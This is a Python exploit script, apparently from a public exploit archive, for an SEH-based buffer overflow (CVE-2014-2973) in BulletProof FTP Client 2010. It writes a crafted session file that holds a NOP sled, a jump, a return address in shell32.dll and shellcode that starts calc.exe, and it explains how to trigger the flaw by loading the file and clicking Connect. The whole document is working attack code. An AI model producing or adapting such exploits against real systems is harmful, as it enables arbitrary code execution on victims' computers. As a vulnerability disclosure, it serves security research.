BulletProof FTP Client 2010 Buffer Overflow

`# !/usr/bin/python  
#-----------------------------------------------------------------------------#  
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit #  
# Date: Sep 05 2014 #  
# Vulnerability Discovery: Gabor Seljan #  
# Exploit Author: Robert Kugler #  
# Software Link: http://www.bpftp.com/ #  
# Version: 2010.75.0.76 #  
# Tested on: Windows XP #  
# CVE: CVE-2014-2973 #  
# #  
# Thanks to corelanc0d3r for his awesome tutorials and help! ;-) #  
# The "Enter URL" form is also vulnerable #  
#-----------------------------------------------------------------------------#  
  
buffer = "This is a BulletProof FTP Client Session-File and should not be modified directly.\n"  
buffer+= "\x20" + "\x90" * 89  
buffer+= "\xeb\x06\x90\x90"  
buffer+= "\xA0\xB3\x3C\x77" # shell32.dll pop pop ret @773CB3A0  
buffer+= "\x90" * 119 # 160 characters space  
buffer+= ("\x33\xc0\x50\x68"  
"\x2E\x65\x78\x65"  
"\x68\x63\x61\x6C"  
"\x63\x8B\xC4\x6A" # 36 bytes  
"\x01\x50\xBB\x35" # ExitProcess is located at 0x77e598fd in kernel32.dll  
"\xfd\xe4\x77\xFF"  
"\xD3\x33\xc0\x50"  
"\xc7\xc0\x8f\x4a"  
"\xe5\x77\xff\xe0")   
  
buffer+= "\x90" * (1000 - len(buffer))   
  
# Just load the "BP Session" and click on "Connect".  
  
file = open("ftpsession.bps","w")  
file.write(buffer)  
file.close()  
`